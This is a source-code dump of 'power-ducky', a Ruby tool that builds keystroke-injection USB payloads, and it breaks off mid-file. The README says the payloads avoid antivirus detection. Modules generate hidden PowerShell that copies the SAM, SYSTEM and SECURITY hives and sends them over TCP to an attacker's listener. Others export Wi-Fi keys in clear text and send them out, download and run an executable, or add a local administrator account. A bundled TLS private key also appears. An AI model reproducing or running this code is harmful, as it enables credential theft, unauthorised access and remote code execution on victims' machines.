├── lib ├── files.rb ├── menus.rb ├── skeleton.rb ├── guide.rb ├── modules │ ├── cmd │ │ └── add_local_user.rb │ └── powershell │ │ ├── hash_dump.rb │ │ ├── wifi_dump.rb │ │ ├── wget_execute.rb │ │ ├── lsass_dump.rb │ │ └── meterpreter.rb ├── menu.rb ├── ducky_setup.rb ├── core.rb ├── banners.rb ├── metasploit.rb ├── server_setup.rb └── powershell_commands.rb ├── duck_encoder ├── encoder.jar ├── inject.bin ├── resources │ ├── fr.properties │ ├── ru.properties │ ├── keyboard.properties │ ├── us.properties │ ├── it.properties │ ├── es.properties │ ├── be.properties │ ├── uk.properties │ ├── pt.properties │ ├── de.properties │ ├── sv.properties │ ├── dk.properties │ └── no.properties ├── README └── src │ └── Encoder.java ├── power_ducky.rb ├── LICENSE ├── certs ├── server.crt └── server.key └── README.md /lib/files.rb: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /duck_encoder/encoder.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jamesbcook/power-ducky/HEAD/duck_encoder/encoder.jar -------------------------------------------------------------------------------- /duck_encoder/inject.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jamesbcook/power-ducky/HEAD/duck_encoder/inject.bin -------------------------------------------------------------------------------- /duck_encoder/resources/fr.properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jamesbcook/power-ducky/HEAD/duck_encoder/resources/fr.properties -------------------------------------------------------------------------------- /duck_encoder/resources/ru.properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jamesbcook/power-ducky/HEAD/duck_encoder/resources/ru.properties -------------------------------------------------------------------------------- /lib/menus.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | class Powershell < Menu 4 | self.path = 'modules/powershell' 5 | self.title = 'Powershell Menu' 6 | end 7 | 8 | class CMD < Menu 9 | self.path = 'modules/cmd' 10 | self.title = 'CMD Menu' 11 | end 12 | -------------------------------------------------------------------------------- /power_ducky.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'optparse' 3 | options = {} 4 | OptionParser.new do |opts| 5 | options[:version] = '2.0 - Power Ducky Rewrite' 6 | opts.on_tail('--help', 'Display this screen') do 7 | puts opts 8 | puts 9 | exit 10 | end 11 | 12 | opts.parse! 13 | end 14 | 15 | frame_work = __FILE__ 16 | frame_work = File.readlink(frame_work) while File.symlink?(frame_work) 17 | APP_ROOT = File.dirname(frame_work) 18 | 19 | $LOAD_PATH.unshift(File.join(APP_ROOT, 'lib')) 20 | begin 21 | fail('Needs ruby 2.0 or higher') if RUBY_VERSION < '2.0' 22 | require 'guide' 23 | Dir.chdir(APP_ROOT) do 24 | Guide.new(options) 25 | end 26 | end 27 | -------------------------------------------------------------------------------- /lib/skeleton.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'core' 3 | require 'server_setup' 4 | require 'ducky_setup' 5 | 6 | # Class that all modules will inheart from making it easier to create modules 7 | class Skeleton 8 | include Core::Commands 9 | include Core::Files 10 | class << self 11 | attr_accessor :title, :description 12 | end 13 | 14 | def initialize 15 | system('clear') 16 | puts self.class.title 17 | puts self.class.description 18 | @file_name = self.class.title.gsub(' ', '_') 19 | @ducky_writer = Ducky::Writer.new 20 | @server_setup = Server::Setup.new 21 | setup 22 | run 23 | finish 24 | end 25 | 26 | def setup; end 27 | 28 | def run; end 29 | 30 | def finish; end 31 | end 32 | -------------------------------------------------------------------------------- /lib/guide.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'menu' 3 | require 'menus' 4 | 5 | class Guide < Menu 6 | def initialize(options) 7 | # TODO: menu optoins need to include: 8 | # msf path, text path 9 | Menu.opts = {} 10 | Menu.opts[:banner] = { 11 | host: Menu.opts[:server] || 'No Server started', 12 | ports: Menu.opts[:port] || 'No Ports used' 13 | } 14 | launch! 15 | end 16 | 17 | def launch! 18 | options = [] 19 | options << 'Main Menu' 20 | options << '1) PowerShell' 21 | options << '2) CMD' 22 | main_menu(options, 'Exit') 23 | print 'Choice' 24 | begin 25 | pick(rgets(': ').strip) 26 | rescue SignalException 27 | exit 28 | end 29 | end 30 | 31 | def pick(choice) 32 | case choice 33 | when '1' 34 | @powershell ||= Powershell.new 35 | @powershell.launch! 36 | when '2' 37 | @cmd ||= CMD.new 38 | @cmd.launch! 39 | when '3' 40 | exit 41 | end 42 | self.launch! 43 | end 44 | end 45 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013 b00stfr3ak 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /lib/modules/cmd/add_local_user.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'skeleton' 3 | class AddUser < Skeleton 4 | attr_reader :ducky 5 | self.title = 'Add User' 6 | self.description = 'Add User to Local Machine' 7 | 8 | def setup 9 | @user = '' 10 | @user = rgets('Username: ') while @user == '' 11 | @pass = '' 12 | @pass = rgets('Password: ') while @pass == '' 13 | @priv = '' 14 | until @priv.downcase[0] == 'y' || @priv.downcase[0] == 'n' 15 | @priv = rgets('Add user to local admin group? ', 'y') 16 | end 17 | @priv = true if @priv.downcase[0] == 'y' 18 | end 19 | 20 | def finish 21 | priv_choice = @ducky_writer.menu 22 | File.open("#{text_path}#{@file_name}.txt", 'w') do |f| 23 | f.write(@ducky_writer.write(priv_choice)) 24 | f.write("#{cmd_command(@user, @pass)}\n") 25 | f.write(cmd_command2(@user)) if @priv 26 | end 27 | Ducky::Compile.new("#{@file_name}.txt") 28 | end 29 | 30 | def cmd_command(user, pass) 31 | "net user #{user} #{pass} /add" 32 | end 33 | 34 | def cmd_command2(user) 35 | "STRING net localgroup Administrators #{user} /add" 36 | end 37 | end 38 | -------------------------------------------------------------------------------- /certs/server.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDXTCCAkWgAwIBAgIJAOceRKnALgo4MA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNV 3 | BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX 4 | aWRnaXRzIFB0eSBMdGQwHhcNMTMxMDE0MTgxNTQyWhcNMTQxMDE0MTgxNTQyWjBF 5 | MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50 6 | ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB 7 | CgKCAQEAr1BSC585XNqF2yo4lMK0hnz4awmryrxQGOzTKh+P+SxoCK5S6N+Tk0Zh 8 | OmZal8wGojgWS5Yz5Uy18pWpbSyMgc+hAy80mGcae7FBBRrWcK7vVH0G2xso7tBm 9 | luEsijHUg+IVX+fn48cq+OvwGEyq6dML6r8gBuR9M3ws4mIFOK88FtGqFyx1IUSd 10 | bPVCD9zUE7anyz0GNNshh6UER8oaiHM4H0ua7jlJyNvgpjjJGpK4asmzRRdd/gI7 11 | exB2xHEYRgUb2aH6tgQIci24/smPVO3924Qt1LjuYhOwGaajfUa4Ieuqj+B3/q5v 12 | v+GjmVxThTDN3wRZZkacf7ntWXJYmQIDAQABo1AwTjAdBgNVHQ4EFgQUjO8Gc9cm 13 | H84UBS8YNk/vXWCxUAkwHwYDVR0jBBgwFoAUjO8Gc9cmH84UBS8YNk/vXWCxUAkw 14 | DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAmIK2Mg9U1ZD9/lgp902L 15 | 3Ju66d0OOH2gGzTpUJHQpVJzFeWTtkL8Q12y/J9fKOaEydYdHACLz8ZBbdJVXq4q 16 | zHYslXV8FDGWV3OIbz7kdh3ysfHD8GhO6ECd9AlxY3jxdgrOnjUCHwGMD4b22P/j 17 | yWY58ydnW0vOe0cRYNffabU9YJW67+KAudT3OFKmmD6F0TNG321xopdUaVe/Zudf 18 | z57EDEvErZZY4nzKkUzI/JU31faZr9P6D1GJpw5/s/FiiZ6NfgRE1XJe+4xHcCfV 19 | XCWVKjUWdD3k1tvSXAZZxgY9Kzv2a5mXKphjANUujeQ4k2JnjhR6c+tn/DlbS/5Q 20 | Ag== 21 | -----END CERTIFICATE----- 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | power-ducky 2 | =========== 3 | 4 | Power Shell Scripts for the Hak5 Ducky 5 | 6 | ``` 7 | 8 | ********************************************************************************* 9 | * Power Ducky * 10 | ********************************************************************************* 11 | Main Menu host: No Server started 12 | 1) PowerShell ports: No Ports used 13 | 2) CMD 14 | 3) Exit 15 | 16 | Choice: 17 | 18 | ``` 19 | 20 | 21 | All payloads are written in powershell so nothing should be caught by AV 22 | 23 | 24 | #### Meterpreter 25 | 26 | Stores the meterpreter script on a web sever, the ducky will then go grab the script using ssl and execute it on the victims machine. Or Localy reflectly load Metasploit. 27 | 28 | #### Dump Lsass Process 29 | 30 | Dumps the lsass process through powershell, then reads the file and dumps it through a tcp socket to a listening server. 31 | 32 | #### Hash Dump 33 | 34 | Module will save sys, sec and sam using reg.exe. It will then ship thefiles over TCP to a listening server. 35 | 36 | #### Dump Wifi Passwords 37 | 38 | Dumps all available wifi profiles, and then dumps each file through a tcp socket 39 | 40 | #### Wget Execute 41 | 42 | Downloads a file and executes it on the victim's machine 43 | -------------------------------------------------------------------------------- /duck_encoder/README: -------------------------------------------------------------------------------- 1 | This new version allows you to use alternative layout. It supports ASCII, ISO-8859-1 and unicode. 2 | 3 | $java -jar duckencode.jar -i script.txt -o inject.bin -l fr 4 | or 5 | $java -jar duckencode.jar -i script.txt -o inject.bin -l resources/mylayout.properties 6 | 7 | ---------- 8 | 9 | Hak5 Duck Encoder 2.6 10 | 11 | usage: duckencode -i [file ..] encode specified file 12 | or: duckencode -i [file ..] -o [file ..] encode to specified file 13 | 14 | Arguments: 15 | -i [file ..] Input File 16 | -o [file ..] Output File 17 | -l [file ..] Keyboard Layout (us/uk/fr/pt or a path to a properties file) 18 | 19 | Script Commands: 20 | ALT [key name] (ex: ALT F4, ALT SPACE) 21 | ALT-SHIFT (Input Lanugage Swap) 22 | CTRL | CONTROL [key name] (ex: CTRL ESC) 23 | CTRL-ALT [key name] (ex: CTRL-ALT DEL) 24 | CTRL-SHIFT [key name] (ex: CTRL-SHIFT ESC) 25 | DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10] (change the delay between each command) 26 | DELAY [Time in millisecond * 10] (used to overide temporary the default delay) 27 | COMMAND | COMMAND [key] (For OSX Users ex: COMMAND SPACE) 28 | GUI | WINDOWS [key name] (ex: GUI r, GUI l) 29 | REM [anything] (used to comment your code, no obligation :) ) 30 | SHIFT [key name] (ex: SHIFT DEL) 31 | REPEAT [Number] (Repeat last command N times) 32 | STRING [any character of your layout] 33 | [key name] (anything in the keyboard.properties) 34 | 35 | Note: 36 | Getting strange behaviour with GUI to open windows-menu, WINDOWS appears to work ok (but GUI maps to WINDOWS), strange? 37 | -------------------------------------------------------------------------------- /certs/server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvUFILnzlc2oXb 3 | KjiUwrSGfPhrCavKvFAY7NMqH4/5LGgIrlLo35OTRmE6ZlqXzAaiOBZLljPlTLXy 4 | laltLIyBz6EDLzSYZxp7sUEFGtZwru9UfQbbGyju0GaW4SyKMdSD4hVf5+fjxyr4 5 | 6/AYTKrp0wvqvyAG5H0zfCziYgU4rzwW0aoXLHUhRJ1s9UIP3NQTtqfLPQY02yGH 6 | pQRHyhqIczgfS5ruOUnI2+CmOMkakrhqybNFF13+Ajt7EHbEcRhGBRvZofq2BAhy 7 | Lbj+yY9U7f3bhC3UuO5iE7AZpqN9Rrgh66qP4Hf+rm+/4aOZXFOFMM3fBFlmRpx/ 8 | ue1ZcliZAgMBAAECggEAfYX4+LFMlRsxdDbKxFiUgSbBh4IpKsOiZfZLS4HFyBbv 9 | die63VoXg/+EZhgbDUzcAxI9hGlLRwahz8swwCaBhABxvKHz+pr371B+yXTpzUyz 10 | t769RewwZq14htc62MfM7ZDW1RBqjEBymD/2bK+YQEsH4VBvUgAPVOm4CW89ZdOC 11 | WoQZFAuoCzUYQKR1DN2gAH0yo84rpfC2z2N5I3gwAdcBraOd3B0pGY5RUZSTyX7K 12 | VCVW5zfi7KsxWpTYJmEZxxlSthzeQohmrQ8OfpKDNXXOwm9Y+ussc83R9ArnfA1q 13 | IeLO+jx/9uSPuYaVeWYNGvkode/Ib5grHQtdVn06AQKBgQDfZJNvltB0EPjtCdiV 14 | 5tvoLkZRZlMEH2gmUbORZMnUVNt3lHhcHy52Oxy21pVRgcK4mHXU8eEYj3k6VyDt 15 | M2k4O3OoSWoEjLFTMf4BekgnNFzN9+NY3GP3pP2dtNvlVS+Q084LKyO7+NP6zAh0 16 | 6bBoxN8AXNi3u8kYUr/NbPn0sQKBgQDI5zFmKuBmocIlBODkMXTFwsGb+xIIm61w 17 | klldYB/J7ttyvdE9i2XXbFyIG1SdbQW/xz5bTLGUHupBo1hsX0pYgCGJIIiBp3yD 18 | bAS1BVyrcyjq+Opgg0DTN5XgdCDmk93x3Zf6D3UqmdQ5IChFy95sJzjicPN9tLMv 19 | WE2VNau8aQKBgQDeFX3hhPxNNwZRmOVB+VWL2F091U0YnySKW9T56UohFg9tLSQO 20 | 6Uzma1PbjS667haoL6GNBr4yDYiGcFIinmavaaNMnVeRmFE9lUihLXEH0K2mchcJ 21 | o2iarOMZYtDtiCeWgoqnXcbTu8b54NdTa3NeZMIR+TvWRRDhZnqZ/gnssQKBgBuU 22 | iZaSCk5spH96hPkuxO4lR3kHZblizdOnc7c67AJH1T6SSnhde7SwPp+8yMf34JMs 23 | YiYciEBiYhxytT/jcQxnQrNVkQfjm1dba+YB/2/WFmbzlxF601prxhqTNrUQ1aZP 24 | mn6MwrP/fD//Zyf1zeohFFEZ2oOGXBcC01vJi3MJAoGANsS9UJ/Or84aMYJADLOe 25 | AS31Ryf7vux8L8wBRP41MJTYWK1TwgGx1NnxJQf3aV6n6vnO9WRE2y/+2Mdjd6Bm 26 | 56DG0PwUGkqCZWd1LDQu2nwwnUMKtQ5ohsFEmFPKbE8wCxTilVOm/d3p0gDlvI/G 27 | FEQBcUAOnPVbNPzgQyA1rTs= 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /lib/menu.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'core' 3 | require 'guide' 4 | class Menu 5 | include Core::Commands 6 | 7 | class << self 8 | attr_accessor :title, :path, :description, :opts 9 | end 10 | 11 | def initialize 12 | files = Dir.glob("#{File.dirname(__FILE__)}/#{self.class.path}/*.rb") 13 | load_modules(files).to_a 14 | end 15 | 16 | def main_menu(options, back = 'Main Menu') 17 | banner 18 | options << "#{options.length}) #{back}" 19 | banner = [] 20 | Menu.opts[:banner].each { |k, v| banner << "#{k}: #{v}" } 21 | 22 | # Determine if menu options or notes is longer 23 | iterations = options.length > banner.length ? options.length : banner.length 24 | 25 | # Print the menu while maintaining format regardless of whether either 26 | # column is longer than the other 27 | i = 0 28 | while i < iterations 29 | first, second = options[i], banner[i] 30 | line = '' 31 | # Blank string for nil to maintain formatting 32 | first ||= '' 33 | line << first.ljust(42) 34 | line << second.rjust(40) if second 35 | puts line 36 | i += 1 37 | end 38 | 39 | puts 40 | end 41 | 42 | def banner 43 | system('clear') 44 | puts '*' * 81 45 | puts '*' + ' ' * 34 + 'Power Ducky' + ' ' * 34 + '*' 46 | puts '*' * 81 47 | end 48 | 49 | def load_modules(class_files) 50 | before = ObjectSpace.each_object(Class).to_a 51 | class_files.each { |file| require file } 52 | after = ObjectSpace.each_object(Class).to_a 53 | @modules = [] 54 | (after - before).each do |mod| 55 | @modules << mod if mod.method_defined?(:ducky) 56 | end 57 | end 58 | 59 | def select_option(selected_option) 60 | return if selected_option.to_i > @modules.length 61 | @modules[selected_option.to_i - 1].new 62 | end 63 | 64 | def launch! 65 | options = [] 66 | options << self.class.title 67 | @modules.each_with_index do |mod, index| 68 | options << "#{index + 1}) #{mod.title}" 69 | end 70 | main_menu(options) 71 | select_option(rgets('Choice: ')) 72 | rescue SignalException 73 | return 74 | end 75 | end 76 | -------------------------------------------------------------------------------- /lib/modules/powershell/hash_dump.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'skeleton' 3 | require 'metasploit' 4 | class HashDump < Skeleton 5 | include Msf::Options 6 | attr_reader :ducky 7 | self.title = 'Hash Dump TCP' 8 | self.description = 'Dump hashes from victim machine, and send them over TCP' 9 | 10 | def setup 11 | @host = @server_setup.host 12 | @port = @server_setup.port 13 | @ssl = @server_setup.use_ssl? 14 | end 15 | 16 | def run 17 | return unless @server_setup.host_listener? 18 | server = Server::Start.new(@ssl, @host, @port) 19 | Thread.new { server.listener } 20 | end 21 | 22 | def finish 23 | priv_choice = @ducky_writer.menu 24 | File.open("#{text_path}#{@file_name}.txt", 'w') do |f| 25 | f.write(@ducky_writer.write(priv_choice)) 26 | f.write(psh_command(@host, @port, @ssl)) 27 | end 28 | Ducky::Compile.new("#{@file_name}.txt") 29 | end 30 | 31 | def path(folder) 32 | "c:\\windows\\temp\\#{folder}" 33 | end 34 | 35 | def psh_command(host, port, ssl = nil) 36 | random_folder = random_name_gen 37 | psh = 'powershell -nop -wind hidden -noni ' 38 | psh << "$folder='#{path(random_folder)}';mkdir $folder;" 39 | psh << 'reg.exe save HKLM\\SAM $folder\\sam;' 40 | psh << 'reg.exe save HKLM\\SYSTEM $folder\\sys;' 41 | psh << 'reg.exe save HKLM\\SECURITY $folder\\sec;$files=dir $folder;' 42 | psh << 'foreach($file in $files){$reg_file=[System.Convert]::' 43 | psh << 'ToBase64String([io.file]::ReadAllBytes($file.FullName));$socket ' 44 | psh << "= New-Object Net.Sockets.TcpClient('#{host}', #{port.to_i});" 45 | if ssl 46 | psh << '$stream = $socket.GetStream();$sslStream = New-Object ' 47 | psh << 'System.Net.Security.SslStream($stream,$false,({$True} -as ' 48 | psh << '[Net.Security.RemoteCertificateValidationCallback]));' 49 | psh << "$sslStream.AuthenticateAsClient('#{host}');$writer = new-object " 50 | psh << 'System.IO.StreamWriter($sslStream);$writer.WriteLine($file);' 51 | psh << '$writer.flush();$writer.WriteLine($reg_file);$writer.flush();' 52 | psh << '$socket.close()}' 53 | else 54 | psh << '$stream = $socket.GetStream();$writer = new-object ' 55 | psh << 'System.IO.StreamWriter($stream);$writer.WriteLine($file);' 56 | psh << '$writer.flush();$writer.WriteLine($reg_file);$writer.flush();' 57 | psh << '$socket.close()}' 58 | end 59 | psh 60 | end 61 | end 62 | -------------------------------------------------------------------------------- /lib/modules/powershell/wifi_dump.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'skeleton' 3 | class WIFIDump < Skeleton 4 | attr_reader :ducky 5 | self.title = 'WIFI Dump TCP' 6 | self.description = 'Dump WIFI profiles, and send it over TCP' 7 | 8 | def setup 9 | @host = @server_setup.host 10 | @port = @server_setup.port 11 | @ssl = @server_setup.use_ssl? 12 | end 13 | 14 | def run 15 | return unless @server_setup.host_listener? 16 | server = Server::Start.new(@ssl, @host, @port) 17 | Thread.new { server.listener('wifi') } 18 | end 19 | 20 | def finish 21 | @priv_choice = @ducky_writer.menu 22 | File.open("#{text_path}#{@file_name}.txt", 'w') do |f| 23 | f.write(@ducky_writer.write(@priv_choice)) 24 | f.write(psh_command) 25 | end 26 | Ducky::Compile.new("#{@file_name}.txt") 27 | end 28 | 29 | def temp_path(folder) 30 | %($env:TEMP+"\\#{folder}") 31 | end 32 | 33 | def psh_command 34 | random_folder = random_name_gen 35 | psh = 'powershell -nop -wind hidden -noni ' 36 | psh << "$savedir=#{temp_path(random_folder)};mkdir $savedir;" 37 | if @priv_choice == '1' || @priv_choice == '2' 38 | psh << 'netsh wlan export profile folder=$savedir key=clear;$files=dir ' 39 | else 40 | psh << 'netsh wlan export profile folder=$savedir;$files=dir ' 41 | end 42 | psh << '$savedir;foreach($file in $files){$xml=[System.Convert]::' 43 | psh << 'ToBase64String([io.file]::ReadAllBytes($file.FullName);$socket = ' 44 | psh << "New-Object net.sockets.tcpclient('#{@host}',#{@port});" 45 | if @ssl 46 | psh << '$stream = $socket.GetStream();$sslStream = New-Object ' 47 | psh << 'System.Net.Security.SslStream($stream,$false,({$True} -as ' 48 | psh << '[Net.Security.RemoteCertificateValidationCallback]));$writer = ' 49 | psh << 'new-object System.IO.StreamWriter($stream);' 50 | psh << "$sslStream.AuthenticateAsClient('#{@host}');$writer = new-object " 51 | psh << 'System.IO.StreamWriter($sslStream);$writer.WriteLine($file);' 52 | psh << '$writer.flush();$writer.WriteLine($xml);$writer.flush();' 53 | psh << '$socket.close()}' 54 | else 55 | psh << '$stream = $socket.GetStream();$writer = new-object ' 56 | psh << 'System.IO.StreamWriter($stream);$writer.WriteLine($file);' 57 | psh << '$writer.flush();$writer.WriteLine($xml);$writer.flush();' 58 | psh << '$socket.close()}' 59 | end 60 | psh 61 | end 62 | end 63 | -------------------------------------------------------------------------------- /lib/modules/powershell/wget_execute.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'skeleton' 3 | require 'metasploit' 4 | class WgetExecute < Skeleton 5 | include Msf::Options 6 | attr_reader :ducky 7 | self.title = 'WGET Execute' 8 | self.description = 'Download and Execute binary file ' 9 | 10 | def setup 11 | @host = @server_setup.host 12 | @port = @server_setup.port 13 | @ssl = @server_setup.use_ssl? 14 | @executable = '' 15 | @executable = rgets('Path to Executable: ') while @executable.empty? 16 | @argument = '' 17 | until @argument.downcase[0] == 'y' || @argument.downcase[0] == 'n' 18 | @argument = rgets('Add an argument?[yes/no] ', 'yes') 19 | end 20 | @arg = rgets('Input the argument: ') if @argument.downcase[0] == 'y' 21 | end 22 | 23 | def run 24 | return unless @server_setup.host_payload? 25 | server = Server::Start.new(@ssl, @host, @port) 26 | Thread.new { server.host_file(@executable) } 27 | end 28 | 29 | def finish 30 | priv_choice = @ducky_writer.menu 31 | File.open("#{text_path}#{@file_name}.txt", 'w') do |f| 32 | f.write(@ducky_writer.write(priv_choice)) 33 | f.write(powershell_wget_powershell(@host, @port, @executable, @arg)) 34 | end 35 | Ducky::Compile.new("#{@file_name}.txt") 36 | end 37 | 38 | def powershell_wget_powershell(host, port, executable, argument) 39 | rand_nam = random_name_gen 40 | if argument.nil? 41 | psh_command = download(host, port, executable, rand_nam) 42 | psh_command << start_proc(rand_nam) 43 | else 44 | psh_command = "$arg='#{argument}';" 45 | psh_command << download(host, port, executable, rand_nam) 46 | psh_command << start_proc(rand_nam) 47 | psh_command << '$arg' 48 | end 49 | psh_command 50 | end 51 | 52 | def path(executable) 53 | "c:\\windows\\temp\\#{executable}" 54 | end 55 | 56 | def download(host, port, executable, rand_nam) 57 | executable[0] = '' if executable[0] == '/' 58 | dl = 'powershell $web=new-object System.Net.WebClient;' 59 | if @ssl 60 | dl << '[System.Net.ServicePointManager]::' 61 | dl << 'ServerCertificateValidationCallback = { $true };' 62 | dl << "$web.DownloadFile('https://#{host}:#{port}/#{executable}', " 63 | else 64 | dl << "$web.DownloadFile('http://#{host}:#{port}/#{executable}', " 65 | end 66 | dl << "'#{path(rand_nam)}.exe'); " 67 | end 68 | 69 | def start_proc(executable) 70 | "Start-Proccess #{path(executable)}.exe" 71 | end 72 | end 73 | -------------------------------------------------------------------------------- /duck_encoder/resources/keyboard.properties: -------------------------------------------------------------------------------- 1 | //default keys 2 | MODIFIERKEY_CTRL = 0x01 3 | MODIFIERKEY_SHIFT = 0x02 4 | MODIFIERKEY_ALT = 0x04 5 | MODIFIERKEY_GUI = 0x08 6 | MODIFIERKEY_LEFT_CTRL = 0x01 7 | MODIFIERKEY_LEFT_SHIFT = 0x02 8 | MODIFIERKEY_LEFT_ALT = 0x04 9 | MODIFIERKEY_LEFT_GUI = 0x08 10 | MODIFIERKEY_RIGHT_CTRL = 0x10 11 | MODIFIERKEY_RIGHT_SHIFT= 0x20 12 | MODIFIERKEY_RIGHT_ALT = 0x40 13 | MODIFIERKEY_RIGHT_GUI = 0x80 14 | 15 | KEY_MEDIA_VOLUME_INC = 0x01 16 | KEY_MEDIA_VOLUME_DEC = 0x02 17 | KEY_MEDIA_MUTE = 0x04 18 | KEY_MEDIA_PLAY_PAUSE = 0x08 19 | KEY_MEDIA_NEXT_TRACK = 0x10 20 | KEY_MEDIA_PREV_TRACK = 0x20 21 | KEY_MEDIA_STOP = 0x40 22 | KEY_MEDIA_EJECT = 0x80 23 | 24 | KEY_A = 4 25 | KEY_B = 5 26 | KEY_C = 6 27 | KEY_D = 7 28 | KEY_E = 8 29 | KEY_F = 9 30 | KEY_G = 10 31 | KEY_H = 11 32 | KEY_I = 12 33 | KEY_J = 13 34 | KEY_K = 14 35 | KEY_L = 15 36 | KEY_M = 16 37 | KEY_N = 17 38 | KEY_O = 18 39 | KEY_P = 19 40 | KEY_Q = 20 41 | KEY_R = 21 42 | KEY_S = 22 43 | KEY_T = 23 44 | KEY_U = 24 45 | KEY_V = 25 46 | KEY_W = 26 47 | KEY_X = 27 48 | KEY_Y = 28 49 | KEY_Z = 29 50 | KEY_1 = 30 51 | KEY_2 = 31 52 | KEY_3 = 32 53 | KEY_4 = 33 54 | KEY_5 = 34 55 | KEY_6 = 35 56 | KEY_7 = 36 57 | KEY_8 = 37 58 | KEY_9 = 38 59 | KEY_0 = 39 60 | KEY_ENTER = 40 61 | KEY_ESC = 41 62 | KEY_BACKSPACE = 42 63 | KEY_TAB = 43 64 | KEY_SPACE = 44 65 | KEY_MINUS = 45 66 | KEY_EQUAL = 46 67 | KEY_LEFT_BRACE = 47 68 | KEY_RIGHT_BRACE = 48 69 | KEY_BACKSLASH = 49 70 | KEY_NON_US_NUM = 50 71 | KEY_SEMICOLON = 51 72 | KEY_QUOTE = 52 73 | KEY_TILDE = 53 74 | KEY_COMMA = 54 75 | KEY_PERIOD = 55 76 | KEY_SLASH = 56 77 | KEY_CAPS_LOCK = 57 78 | KEY_F1 = 58 79 | KEY_F2 = 59 80 | KEY_F3 = 60 81 | KEY_F4 = 61 82 | KEY_F5 = 62 83 | KEY_F6 = 63 84 | KEY_F7 = 64 85 | KEY_F8 = 65 86 | KEY_F9 = 66 87 | KEY_F10 = 67 88 | KEY_F11 = 68 89 | KEY_F12 = 69 90 | KEY_PRINTSCREEN = 70 91 | KEY_SCROLL_LOCK = 71 92 | KEY_PAUSE = 72 93 | KEY_INSERT = 73 94 | KEY_HOME = 74 95 | KEY_PAGEUP = 75 96 | KEY_DELETE = 76 97 | KEY_END = 77 98 | KEY_PAGEDOWN = 78 99 | KEY_RIGHT = 79 100 | KEY_LEFT = 80 101 | KEY_DOWN = 81 102 | KEY_UP = 82 103 | KEY_NUM_LOCK = 83 104 | KEYPAD_SLASH = 84 105 | KEYPAD_ASTERIX = 85 106 | KEYPAD_MINUS = 86 107 | KEYPAD_PLUS = 87 108 | KEYPAD_ENTER = 88 109 | KEYPAD_1 = 89 110 | KEYPAD_2 = 90 111 | KEYPAD_3 = 91 112 | KEYPAD_4 = 92 113 | KEYPAD_5 = 93 114 | KEYPAD_6 = 94 115 | KEYPAD_7 = 95 116 | KEYPAD_8 = 96 117 | KEYPAD_9 = 97 118 | KEYPAD_0 = 98 119 | KEYPAD_PERIOD = 99 120 | 121 | KEY_APP = 0x65 122 | KEY_SYSTEM_POWER = 0x81 123 | KEY_SYSTEM_SLEEP = 0x82 124 | KEY_SYSTEM_WAKE = 0x83 125 | 126 | KEY_LEFT_CTRL = 0xE0 127 | KEY_LEFT_SHIFT = 0xE1 128 | KEY_LEFT_ALT = 0xE2 129 | KEY_LEFT_GUI = 0xE3 130 | KEY_COMMAND = 0xE3 131 | KEY_RIGHT_CTRL = 0xE4 132 | KEY_RIGHT_SHIFT= 0xE5 133 | KEY_RIGHT_ALT = 0xE6 134 | KEY_RIGHT_GUI = 0xE7 135 | -------------------------------------------------------------------------------- /lib/ducky_setup.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'core' 3 | include Core::Commands 4 | module Ducky 5 | class Writer 6 | def menu 7 | _options.each do |key, ops| 8 | puts "#{key}) #{ops}" 9 | end 10 | rgets('Choice: ', '3') 11 | end 12 | 13 | def write(choice) 14 | _options_lambda[choice.to_sym].call 15 | rescue => e 16 | puts print_error(e) 17 | end 18 | 